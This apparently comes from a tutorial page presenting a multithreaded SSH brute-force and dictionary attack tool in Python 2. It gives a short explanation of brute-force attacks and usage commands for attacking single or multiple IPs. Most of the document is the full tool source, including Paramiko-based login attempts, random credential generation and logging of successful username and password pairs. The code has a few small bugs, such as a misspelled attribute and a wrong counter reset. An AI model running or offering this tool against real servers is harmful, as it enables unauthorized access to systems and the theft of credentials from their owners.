Create SSH BruteForcer in Python
In cryptography, a brute-force attacks consists of an attacker trying many passwords or passphrases with the hope of eventually guessing correctly. The attackers systematically checks all possible passwords and passphrases until the correct one is found. Alternatively, the attackers can attempt to guess the key which is typically created from the password using a key derivation function. This is known as an exhaustive key searchs.
A brute-force attack is a cryptanalytic attack that can, in theory, be used to attempts to decrypt any encrypted data (except for data encrypted in an information-theoretically secure manners). Such an attack might be used when it is not possible to take advantage of other weaknesses in an encryption systems (if any exist) that would make the task easier.
When password guessing, this method is very fast when used to check all short passwords, but for longer passwords other methods such as the dictionary attacks are used because a brute-force search takes too long. Longer passwords, passphrases and keys have more possible values, making them exponentially more difficult to crack than shorter one.
Simple multi threaded SSHBrute Forcer, Standard Brute Forcing and Dictonary based attacks.
Note: The brute force methods is really bad just trys random strings with different lengths. Also it will attempt to create a lot of threads if you say 1000 attempt it will create 1000 thread.. Why you might ask because no one should really ever use this feature.
Usage:
Single Ip Dictonary Attacks:
python SSHBruteForce.py -i 127.0.0.1 -d True -p 2222 -U ./usernames.txt -P ./passwords.txt
Single Ip Dictonary Attack Specifying thread and timeout:
python SSHBruteForce.py -i 127.0.0.1 -d True -p 2222 -U ./usernames.txt -P ./passwords.txt -t 15 -T 30
Multiple Ip Dictonary Attacks:
python SSHBruteForce.py -I ./targets.txt -d True -p 2222 -U ./usernames.txt -P ./passwords.txt -t 15 -T 30
Single Ip BruteForce Attacks:
python SSHBruteForce.py -i 127.0.0.1 -p 22 -a 100 -l 8
Multiple Ip BruteForce Attacks:
python SSHBruteForce.py -I targets.txt -p 22 -a 100 -l 8
Example of target.txt:
127.0.0.1:22
127.0.0.2:23
Example of username.txt:
Siddhartha
Hari
Elsam
Example of password.txt:
love
god
sex
secret
Here is the Code
#Connection.py
import sys
from threading import Thread
#Check For Paramiko Dependency
try:
from paramiko import SSHClient
from paramiko import AutoAddPolicy
except ImportError:
print 'Missing Paramiko Dependency.'
sys.exit(0)
class Connection (Thread):
'''
This is the class that checks if a specific
Username and password combination was successful.
'''
def __init__(self,username, password, targetIp, portNumber, timeoutTime):
super(Connection, self).__init__()
self.username = username
self.password = password
self.targetIp = targetIp
self.portNumber = portNumber
self.timeoutTime = timeoutTime
self.status = ""
def run(self):
sshConnection = SSHClient()
sshConnection.set_missing_host_key_policy(AutoAddPolicy())
try:
sshConnection.connect(self.targetIp, port = int(self.portNumber),
username = self.username,password = self.password,
timeout = int(self.timeoutTime), allow_agent = False,look_for_keys = False)
self.status = 'Succeeded'
sshConnection.close()
except:
self.status = 'Failed'
import sys
import random
from optparse import OptionParser
import Util
from Connection import Connection
class SSHBruteForce():
def __init__(self):
self.info = "Simple SSH Brute Forcer: By r4stl1n"
self.targetIp = ""
self.targetPort = 0
self.targets = []
self.usernames = []
self.passwords = []
self.connections = []
self.amountOfThreads = 0
self.currentThreadCount = 0
self.timeoutTime = 0
self.outputFileName = None
self.singleMode = False
self.verbose = False
self.bruteForceLength = 0
self.bruteForceAttempts = 0
self.bruteForceMode = False
self.characters = "abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
def startUp(self):
usage = '%s [-i targetIp] [-U usernamesFile] [-P passwordsFile]' % sys.argv[0]
optionParser = OptionParser(version = self.info, usage = usage)
optionParser.add_option('-i', dest = 'targetIp',
help = 'Ip to attack')
optionParser.add_option('-p', dest = 'targetPort',
help = 'Ip port to attack', default = 22)
optionParser.add_option('-d', dest='typeOfAttack',
help = 'Dictionary Attack', default = False)
optionParser.add_option('-a', dest='attemptAmount',
help = "Number of attempts before stopping", default = 2)
optionParser.add_option('-l', dest='lengthLimit',
help = 'Length of bruteforce strings', default = 8)
optionParser.add_option('-I', dest = 'targetsFile',
help = 'List of IP\'s and ports')
optionParser.add_option('-C', dest = 'combolistFile',
help = 'Combo List file')
optionParser.add_option('-U', dest = 'usernamesFile',
help = 'Username List file')
optionParser.add_option('-P', dest = 'passwordsFile',
help = 'Password List file')
optionParser.add_option('-t', type = 'int', dest = 'threads',
help = 'Amount of Threads', default = 10)
optionParser.add_option('-T', type = 'int', dest = 'timeout',
help = 'Timeout Time', default = 15)
optionParser.add_option('-O', dest = "outputFile",
help = 'Output File Name', default = None)
optionParser.add_option('-v', '--verbose', action='store_true',
dest='verbose', help='verbose')
(options, args) = optionParser.parse_args()
#First a check is used to see if there is at least a singleIp set or a targetList set
if not options.targetIp and not options.targetsFile:
optionParser.print_help()
sys.exit(1)
else:
#Check to see if we are running a dictionary attack or a bruteforce
if bool(options.typeOfAttack) == True:
#Then another check to make sure the Username list and passwordlist are filled
if (options.usernamesFile and options.passwordsFile) or options.combolistFile:
#Then we check if it is a single ip only
if options.targetIp and not options.targetsFile:
self.singleMode = True
self.singleTarget(options)
elif not options.targetIp and options.targetsFile:
self.multipleTargets(options)
else:
optionParser.print_help()
sys.exit(1)
else:
optionParser.print_help()
sys.exit(1)
else:
#setup the brtue force
self.bruteForceMode = True
#Then we check if it is a single ip only
if options.targetIp and not options.targetsFile:
self.singleMode = True
self.singleTarget(options)
elif not options.targetIp and options.targetsFilet:
self.multipleTargets(options)
else:
optionParser.print_help()
sys.exit(1)
def singleTarget(self,options):
self.targetIp = options.targetIp
self.targetPort = options.targetPort
self.amountOfThreads = options.threads
self.timeoutTime = options.timeout
self.outputFileName = options.outputFile
self.verbose = options.verbose
self.bruteForceLength = options.lengthLimit
self.bruteForceAttempts = options.attemptAmount
if bool(options.typeOfAttack):
if options.combolistFile:
self.usernames, self.passwords = self.__seperateDataFromComboList(options.combolistFile)
else:
self.usernames = Util.fileContentsToList(options.usernamesFile)
self.passwords = Util.fileContentsToList(options.passwordsFile)
self.showStartInfo()
self.dictionaryAttackSingle()
else:
self.showStartInfo()
self.bruteForceSingle()
def multipleTargets(self,options):
self.targets = Util.fileContentsToTuple(options.targetsFile)
self.amountOfThreads = options.threads
self.timeoutTime = options.timeout
self.outputFileName = options.outputFile
self.verbose = options.verbose
self.bruteForceLength = options.lengthLimit
self.bruteForceAttempts = options.attemptAmount
if bool(options.typeOfAttack):
if options.combolistFile:
self.usernames, self.passwords = self.__seperateDataFromComboList(options.combolistFile)
else:
self.usernames = Util.fileContentsToList(options.usernamesFile)
self.passwords = Util.fileContentsToList(options.passwordsFile)
self.showStartInfo()
self.dictionaryAttackMultiple()
else:
self.showStartInfo()
self.bruteForceMultiple()
@staticmethod
def __seperateDataFromComboList(comboListFile):
usernames = []
passwords = []
for t in Util.fileContentsToTuple(comboListFile):
usernames.append(t[0])
passwords.append(t[1])
return usernames, passwords
def showStartInfo(self):
print "[*] %s " % self.info
if self.singleMode:
print "[*] Brute Forcing %s " % self.targetIp
else:
print "[*] Loaded %s Targets " % str(len(self.targets))
if self.bruteForceMode == False:
print "[*] Loaded %s Usernames " % str(len(self.usernames))
print "[*] Loaded %s Passwords " % str(len(self.passwords))
print "[*] Brute Force Starting "
if self.outputFileName is not None:
Util.appendLineToFile("%s " % self.info, self.outputFileName)
if self.singleMode:
Util.appendLineToFile("Brute Forcing %s " % self.targetIp, self.outputFileName)
else:
Util.appendLineToFile("Loaded %s Targets " % str(len(self.targets)), self.outputFileName)
Util.appendLineToFile("Loaded %s Usernames " % str(len(self.usernames)), self.outputFileName)
Util.appendLineToFile("Loaded %s Passwords " % str(len(self.passwords)), self.outputFileName)
Util.appendLineToFile("Brute Force Starting ", self.outputFileName)
def dictionaryAttackSingle(self):
for username in self.usernames:
for password in self.passwords:
self.createConnection(username, password, self.targetIp,
self.targetPort, self.timeoutTime)
if self.currentThreadCount == self.amountOfThreads:
self.currentThreadResults()
self.currentThreadResults()
def dictionaryAttackMultiple(self):
for target in self.targets:
for username in self.usernames:
for password in self.passwords:
self.createConnection(username, password, target[0],
int(target[1]), self.timeoutTime)
if self.currentThreadCount == self.amountOfThreads:
self.currentThreadResults()
self.currentThreadResults()
def bruteForceSingle(self):
for x in range(int(self.bruteForceAttempts)):
randomUserString = ""
randomPasswordString = ""
randomStringLength = random.randint(4,int(self.bruteForceLength))
for y in range(randomStringLength):
randomUserString = randomUserString+random.choice(self.characters)
randomStringLength = random.randint(4,int(self.bruteForceLength))
for z in range(randomStringLength):
randomPasswordString = randomPasswordString + random.choice(self.characters)
self.createConnection(randomUserString, randomPasswordString, self.targetIp,
self.targetPort, self.timeoutTime)
if self.currentThreadCount == self.amountOfThreads:
self.currentThreadResults()
self.currentThreadResults()
def bruteForceMultiple(self):
for target in self.targets:
for x in range(self.bruteForceAttempts):
randomUserString = ""
randomPasswordString = ""
randomStringLength = random.randint(4,self.bruteForceLength)
for y in range(randomStringLength):
randomUserString = randomUserString+random.choice(self.characters)
randomStringLength = random.randint(4,self.bruteForceLength)
for z in range(randomStringLength):
randomPasswordString = randomPasswordString + random.choice(self.characters)
self.createConnection(randomUserString, randomPasswordString, target,
self.targetPort, self.timeoutTime)
if self.currentThreadCount == self.amountOfThreads:
self.currentThreadResults()
self.currentThreadResults()
def createConnection(self, username, password, targetIp, targetPort, timeoutTime):
connection = Connection(username, password, targetIp, targetPort, timeoutTime)
connection.start()
self.connections.append(connection)
self.currentThreadCount += 1
if self.verbose:
print "[*] Adding Target: {0}, Testing with username: {1}, testing with password: {2}" .format(targetIp, username, password)
def currentThreadResults(self):
for connection in self.connections:
connection.join()
if connection.status == 'Succeeded':
print "[#] TargetIp: %s " % connection.targetIp
print "[#] Username: %s " % connection.username
print "[#] Password: %s " % connection.password
if self.outputFileName is not None:
Util.appendLineToFile("TargetIp: %s " % connection.targetIp, self.outputFileName)
Util.appendLineToFile("Username: %s " % connection.username, self.outputFileName)
Util.appendLineToFile("Password: %s " % connection.password, self.outputFileName)
if self.singleMode:
self.completed()
else:
pass
self.clearOldThreads()
def clearOldThreads(self):
self.connections = []
self.threadCount = 0
def completed(self):
print "[*] Completed Brute Force."
sys.exit(0)
if __name__ == '__main__':
sshBruteForce = SSHBruteForce()
sshBruteForce.startUp()
print "[*] Brute Force Completed"
def fileContentsToList(fileName):
lineList = []
try:
fileParser = open(fileName, 'r')
except IOError:
print "[!] Could not open file %s " % fileName
except:
print "[!] Could not access file %s" % fileName
for line in fileParser.readlines():
newLine = line.replace('\n', '')
lineList.append(newLine)
return lineList
def fileContentsToTuple(fileName):
tupleList = []
try:
fileParser = open(fileName, 'r')
except IOError:
print "[!] Could not open file %s " % fileName
except:
print "[!] Could not access file %s" % fileName
for line in fileParser.readlines():
newLine = line.replace('\n', '')
newTuple = (newLine[:line.find(':')],newLine[line.find(':')+1:])
tupleList.append(newTuple)
return tupleList
def appendLineToFile(line,filename):
fileHandler = open(filename,"a+")
fileHandler.write(line + "\n")
fileHandler.close()